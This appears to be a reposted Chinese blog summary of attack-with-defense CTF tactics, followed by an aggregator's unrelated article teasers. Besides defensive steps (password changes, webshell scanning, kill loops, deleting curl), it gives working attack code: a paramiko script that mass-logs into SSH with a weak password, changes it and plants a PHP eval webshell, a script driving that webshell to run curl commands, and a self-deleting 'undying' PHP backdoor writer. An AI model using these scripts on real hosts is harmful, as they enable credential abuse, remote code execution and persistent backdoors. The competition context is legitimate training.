AWD攻防总结

基本防守策略

1、改用户密码和服务密码

1)改linux用户密码:

#passwd

如果有权限就删除用户:

#userdel -r [用户名]

2)改mysql密码:

#update mysql.user set password=password('密码') where user='root';

删除匿名用户:

#delete from mysql.user where user=' ';

刷新配置:

#flush privileges;

3)改网站后台密码

从网站页面或者源码或者御剑工具找到后台页面,然后尝试弱口令登入后改管理员密码。

2、Web防护

1)将网站目录打包成tar

#tar -cvf [打包后的文件名.tar] [要打包的文件名]

2)用ssh或ftp将打包文件拉到本地

ssh法:

#scp 用户名@IP地址:要下载的文件路径 存放路径

如:scp root@192.168.16.8:/root/flag.txt /root/

ftp法:

#ftp [IP地址]

#get [文件名]

或者用ftp登入软件下载

3)将压缩包解压,然后拉到D盾里面扫描木马文件

4)用ssh控制或ftp控制服务器将木马文件删除

3、关闭shell连接进程

1)查看正在连接的进程

#who

2)关闭连接进程

#pkill -kill -t pts/进程号

4、网站守护

1)查看新增文件,删掉

# find ./ -cmin -30

2)删除不死码

# vim killshell.sh

# chmod 777 killshell.sh

# nohup ./killshell.sh &

----------------------------------------------------------------

#!/bin/bash

while true

do

rm -rf xxx.php

done

----------------------------------------------------------------

3)发现网站页面有漏洞

# echo  > xxx.php

PS:平台root用户可能是弱口令toor密码,或者存在内核溢出提权。

chmod 777 payload

./payload

网神杯奇安信平台溢出提权,4.4.0-31-generic Ubuntu 内核。

rm -rf /bin/curl

基本攻击策略

1、弱口令攻击

批量用户登入修改密码并写入webshell且获取flag值。

ls /home/

python3 ssh.py    

--------------------------------------------------------------------

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

for i in [1,2,3,4,5,6,7,8,9,10]:

    try:

            host = "4.4."+str(i)+".100"

            s=paramiko.SSHClient()

            s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            s.connect(hostname=host,port=22,username='user1',password='123456')

            stdin,stdout,stderr = s.exec_command('passwd\n')

            stdin.write("123456\nPass@123.com\nPass@123.com\n")

            stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")

            stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')

            print(host+':'+stdout.read().decode('utf-8'))

            s.close()

    except:

        print(host+':Fails!')

--------------------------------------------------------------------

2、批量调用webshell获取flag

用D盾扫描自己的网站木马,根据木马写脚本。

python3 web.py

--------------------------------------------------------------------

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import requests

for i in [1,2,3,4,5,6,7,8,9,10]:

    try:

        url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"

        result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)

        print(url+'-->'+result.text)

    except:

        print(url+'-->Fails!')

--------------------------------------------------------------------

3、不死码种植

将不死码上传网站目录,访问不死码后在当前目录生成.zack.php后门webshell。

--------------------------------------------------------------------

<?php

set_time_limit(0);

#1表示忽略与客户端断开连接,继续执行脚本

ignore_user_abort(1);

#执行完后删除自身

unlink(__FILE__);

while (1) {

$content = '<?php @eval($_POST[zack]);?>';

file_put_contents(".zack.php", $content);

usleep(500);  #暂停0.5秒钟

}

?>

--------------------------------------------------------------------

杀死不死马的方法,查看不死马的进程ID:

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID为 11198 ,根据ID号和webshell名写.sh脚本。

# vim kill.sh

--------------------------------------------------------------------

#!/bin/bash

while true

        do

                kill -9 11198

                rm -rf .shell.php

        done

--------------------------------------------------------------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95127.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95127.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android14 基于Configfs的USB动态配置init.usb.configfs.rc

1 Android14 USB子系统启动以及动态切换的init.usb.rc 2 Android14 基于Configfs的USB动态配置init.usb.configfs.rc 3 Android14 高通平台的USB子系统启动和动态配置init.qcom.usb.rc 1. 什么是ConfigFS ConfigFS 是 Linux 内核提供的一种用户空间可配置的伪文件系统在Linu…

2025年KBS SCI1区TOP,矩阵差分进化算法+移动网络视觉覆盖无人机轨迹优化,深度解析+性能实测

目录1.摘要2.系统模型和问题表述3.矩阵差分进化算法4.结果展示5.参考文献6.算法辅导应用定制读者交流1.摘要 本文提出了一种面向无人机&#xff08;UAV&#xff09;新型轨迹优化方法&#xff0c;以实现对地面移动节点的高效视觉覆盖。与传统方法不同&#xff0c;该方法显式考虑…

Python OpenCV图像处理与深度学习:Python OpenCV图像几何变换入门

图像变换&#xff1a;掌握OpenCV中的几何变换 学习目标 通过本课程&#xff0c;学员们将能够理解图像的几何变换原理&#xff0c;包括缩放、旋转和平移&#xff0c;并能够使用Python和OpenCV库实现这些变换。本课程将通过理论讲解与实践操作相结合的方式&#xff0c;帮助学员们…

Redis Windows 7.0.5 安装教程(附exe/msi下载+环境配置+命令测试)

​第一步&#xff1a;下安装包​ 打开浏览器&#xff08;比如 Edge 或 Chrome&#xff09;&#xff0c;复制这个链接到地址栏敲回车&#xff1a; https://pan.quark.cn/s/31912e0d0443 进去后往下翻&#xff0c;找名字带 ​**redis-7.0.5​ 的文件&#xff0c;​选那个 .exe 结…

数据结构(单链表)

目录 1.链表的概念及结构 2.单链表的应用 2.1 打印链表 2.2申请新节点 2.3插入&#xff08;尾删和头删&#xff09; 2.4删除&#xff08;尾删和头删&#xff09; 2.5查找 2.6任意位置插入 2.7删除指定位置的元素 2.8 销毁链表 3.总结 1.链表的概念及结构 &#xff…

电脑没加域却能获取到IP地址

企业网络管理的核心逻辑&#xff01;电脑没加域却能获取到IP地址&#xff0c;这完全是一种刻意为之的安全设计&#xff0c;而不是网络故障。 简单来说就是&#xff1a;“给你IP&#xff0c;但不给你权限。” 这背后是一套完整的 网络准入控制&#xff08;NAC&#xff09; 策略。…

Go语言入门学习笔记

&#x1f4da; 前言 欢迎学习Go语言&#xff01;这份教材假设您是编程零基础&#xff0c;从最基本的概念开始讲解。Go语言&#xff08;也称为Golang&#xff09;由Google开发&#xff0c;简单、高效、并发能力强&#xff0c;适合后端开发、系统编程和云计算。 学习建议&#xf…

gradle安装、配置环境变量、配置阿里源及idea 中配置gradle

下载gradle https://services.gradle.org/distributions/ 配置系统环境变量 新增GRADLE_HOME D:\Information_Technology\App\gradle-8.14.3-bin\gradle-8.14.3 新增GRADLE_USER_HOME D:\Information_Technology\App\gradleHouse 设置 path&#xff0c;新增一行 %GRADLE_…

C# FlaUI win 自动化框架,介绍

一、简洁介绍 FlaUI 是一套基于 .NET 的 Windows 桌面应用自动化测试库&#xff0c;支持 Win32、WinForms、WPF、UWP 等多种类型的应用。它基于微软原生 UI Automation 库&#xff0c;提供了更现代、易用的 API&#xff0c;适合自动化测试工程师和开发者实现高效、可维护的 UI …

命名空间级别应用 Pod 安全标准

&#x1f3af; 命名空间级别应用 Pod 安全标准 一、创建 Kubernetes 集群&#xff08;使用 kind&#xff09; 使用 kind &#xff08;Kubernetes IN Docker&#xff09;快速创建一个本地集群&#xff1a; kind create cluster --name my-cluster验证集群是否运行正常&#xff1…

Ubuntu 25.10 Snapshot4 发布。

Ubuntu 25.10 的第四个快照&#xff08;Snapshot 4&#xff09;已于 2025 年 8 月 28 日发布&#xff0c;供开发者和测试人员进行验证。这是 Ubuntu 25.10 正式发布前的最后一个月度快照&#xff0c;标志着该版本已进入功能冻结阶段&#xff0c;预计将在 10 月发布正式版。 Ca…

STM32F2/F4系列单片机解密和芯片应用介绍

STM32F2/F4系列单片机解密和芯片应用介绍STM32F2和STM32F4系列微控制器凭借其出色的性能、丰富的外设接口和强大的连接能力&#xff0c;在很多对计算能力和实时性有要求的领域都有应用。同时&#xff0c;芯片解密的价格因其型号、加密技术等因素差异较大。&#x1f9ed; 重要提…

250901-BookStack跨服务器从Rootless-Docker到Rootful-Docker的备份迁移及服务启动

下面给你一套「可离线、最小停机」的迁移步骤&#xff0c;从 A&#xff08;rootless&#xff09;搬到 B&#xff08;rootful&#xff09;。思路是&#xff1a;停 A → 打包数据卷 → 传到 B → 还原 → 用同版本镜像启动 → 验证。整套操作不依赖公网&#xff0c;只用你已有的离…

(Redis)Redis 分布式锁及改进策略详解

一、为什么需要分布式锁在单机应用中&#xff0c;synchronized 或 ReentrantLock 足以解决并发问题。但在 分布式系统 中&#xff0c;多台服务器之间共享同一个资源时&#xff0c;如果没有锁&#xff0c;很可能出现 超卖、重复扣减、数据不一致 等问题。 因此&#xff0c;分布式…

Linux应用开发-windows,linux环境下相关工具

VS Code Remote - SSH 虚拟机部分的操作 sudo systemctl status sshsudo apt update sudo apt install openssh-server sudo systemctl start ssh sudo systemctl enable ssh # 设置开机自启hostname -IVS Code部分的操作 安装 Remote - SSH 插件 vscode右下角出现&#xff…

Java泛型通配符详解:搞懂?/extends/super用法,避开集合操作踩坑点

上次跟你们聊了泛型的基础用法&#xff0c;今天接着往下说 —— 泛型里还有个挺重要的概念叫 “通配符”&#xff0c;就是那个问号 “?”&#xff0c;很多人第一次见都懵&#xff1a;这玩意儿跟普通泛型有啥区别&#xff1f;为啥有时候非得用它不可&#xff1f;小索奇当初也卡…

EXCEL开发之路(二)跨表交互模拟—仙盟创梦IDE

在车辆租赁行业&#xff0c;数据的高效管理与分析对于企业的运营决策、资源调配及客户服务优化至关重要。自建 Excel 实现多表统计交互&#xff0c;如同为行业装上了效能驱动引擎&#xff0c;助力企业在复杂多变的市场环境中稳健前行。一、精准资源管理&#xff0c;优化车辆调配…

医疗AI时代的生物医学Go编程:高性能计算与精准医疗的案例分析(八)

5.4 性能测试与结果分析 为了评估GoEHRStream的性能,我们设计测试模拟真实的医院数据流场景,并测量关键指标。 5.4.1 实验环境 硬件: CPU: Intel Xeon E-2288G (8 cores, 16 threads) RAM: 32 GB DDR4 Storage: 512 GB NVMe SSD (用于GoEHRStream和BadgerDB) Network: 1 G…

开关电源设计“反馈回路”部分器件分析

目录 主要分析问题如下&#xff1a; 一、问题1 二、问题二 分析电路如下&#xff1a; 主要分析问题如下&#xff1a; 1、分析TL431芯片1、2两引脚间并联电阻和电容&#xff08;RC电路&#xff09;的作用&#xff1f; 2、PC817A光耦输入两个引脚间并联电阻的作用&#xff1f;…

AI 编程新玩法:用 yunqi-saas-kit 框架制作小游戏,看广告变现轻松赚钱​

AI 编程新玩法&#xff1a;用 yunqi-saas-kit 框架制作小游戏&#xff0c;看广告变现轻松赚钱 在数字经济快速发展的当下&#xff0c;AI 技术正不断渗透到各个领域&#xff0c;其中 **#AI 编程凭借高效、便捷的优势&#xff0c;成为不少开发者和创业者的新选择。尤其是在小游戏…